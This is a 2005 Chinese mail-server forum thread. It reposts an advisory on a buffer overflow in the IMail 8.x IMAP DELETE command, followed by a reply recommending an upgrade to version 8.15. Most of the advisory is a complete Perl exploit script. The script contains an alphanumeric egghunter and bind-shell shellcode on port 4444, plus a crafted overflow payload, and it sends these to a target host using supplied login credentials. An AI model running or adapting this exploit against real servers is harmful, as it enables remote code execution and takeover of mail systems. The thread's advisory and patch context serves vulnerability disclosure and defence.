邮件服务器-邮件系统-邮件技术论坛(BBS)

标题: [求助]IMail IMAP Service DELETE 命令溢出漏洞 [打印本页]

作者: flyinweb 时间: 2005-2-27 22:58
标题: [求助]IMail IMAP Service DELETE 命令溢出漏洞
IMail IMAP Service DELETE 命令溢出漏洞 
 
发布时间：2004-11-13 
更新时间：2004-11-17 
严重程度：高 
威胁程度：远程管理员权限 
错误类型：边界检查错误 
利用方式：客户机模式 
 
受影响系统 
IMail Server 8.x 
详细描述 
Muts 在 IMail Server 中发现一个安全漏洞, 能被恶意用户利用威胁到系统的安全。 
 
这个漏洞的成因是由于IMAP service ("IMAP4D32.exe") 在处理 "DELETE" 命令时没有进行边界检查. 如果用户提交"DELETE"命令时附带超长的参数，(约 300 字节) 将导致缓冲区溢出。 
 
成功利用者可以执行任意代码。 
 
这个风险在 IMAIL 8.13 版本中发现，其它版本可能也受影响。 
 
测试代码 
 
#!/usr/bin/perl -w 
################################### 
# 
# IPSwitch-IMail-8.13-DELETE 
# 
# Discovered by : Muts 
# Coded by : Zatlander 
# WWW.WHITEHAT.CO.IL 
# 
################################## 
# 
# Plain vanilla stack overflow in the DELETE command 
# Restrictions: 
# - Need valid authentication credentials 
# - Input buffer only allows characters between x20 -> x7e 
# 
# Credits: 
# - <a target=_blank href=http://www.metasploit.org>http://www.metasploit.org</a> - HD Moore for the metasploit shellcode 
# - <a target=_blank href=http://www.edup.tudelft.nl/~bjwever/menu.html>http://www.edup.tudelft.nl/~bjwever/menu.html</a> - skylined for the ALPHA ascii \ 
shellcode generator # - <a target=_blank href=http://www.hick.org>http://www.hick.org</a> - for the syscall egghunt code in the \ 
paper "Understanding Windows Shellcode" # 
################################## 
 
use IO::Socket; 
use Getopt::Std; 
use Mail::IMAPClient; 
 
print "Exploit for the IPSwitch IMail DELETE buffer overflow\n"; 
print "C0d3d by Zatlander\n"; 
print "Discovered by Muts\n"; 
print "WWW.WHITEHAT.CO.IL\n"; 
print "For hacking purposes only!!!\n\n"; 
 
# Find shellcode with signature "w00tw00t"; start from esp 
# from 0 -> $egghunter = \ 
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH2a3PL \ 
Mvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA"; $egghunter = \ 
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PL \ 
MtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA"; 
 
# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin ) 
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGn \ 
kbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvah \ 
GZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1 \ 
tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7 \ 
pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK \ 
9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oR \ 
uFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGy \ 
jDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5 \ 
tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJK \ 
OKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA"; 
 
getopts("h:u:p:", \%args); 
 
if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) { print "Usage: $0 -h [host] -u [username] -p [password]\n"; exit;} 
 
$usr = $args{u}; 
$pwd = $args{p}; 
$host = $args{h}; 
 
# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset) 
$jmp21 = "r!s!"; 
 
# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address 
########################################################################## 
# This should hopefully be the only version dependent variable here. 
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS 
########################################################################## 
$calledx8 = "jR!i"; 
 
# aAA aligns ESP with the egghunter shellcode (popad, pop, pop) 
$asciieh = "aAA" . $egghunter; 
$asciisc = "w00tw00t" . $shellcode; 
$email = "From: \"The guy hacking you\" <a\@b.com>\r\n" . "To: \"Poor You\" <b\@c.com>\r\n" . "Subject: $asciisc\r\n" . "Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" . "Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" . "Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" . "Content-Transfer-Encoding: 7bit\r\n" . "\r\n" . $asciisc; 
 
$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n"; 
 
print "Login in to $host as $usr/$pwd\n"; 
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or \ 
die "Cannot connect: $@"; print "count: " . $imap->message_count("Inbox") . "\n"; 
print "Sending EGG\n"; 
$imap->select("Inbox") or die "Could not select: $@\n"; 
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@"; 
$msg = $imap->message_string($uid) or die "Cannot get message: $@"; 
#$msg = $imap->body_string($uid) or die "Cannot get message: $@"; 
#print "retrieving $uid back: $msg\n"; 
 
print "Overflowing DELETE\n"; 
$imap->delete($payload) or die "Cannot delete: $@n"; 
 
print("Finished...\n"); 
 
 
解决方案 
限制使用或暂时停用Imail Server 
 
相关信息 
<a target=_blank href=http://secunia.com/advisories/13200/>http://secunia.com/advisories/13200/</a> 
 
 
如何实现及防范？

作者: 钉子 时间: 2005-2-28 11:22
标题: re:请升级到8.15版本。
请升级到8.15版本。

欢迎光临邮件服务器-邮件系统-邮件技术论坛(BBS) (http://bbs.5dmail.cn/)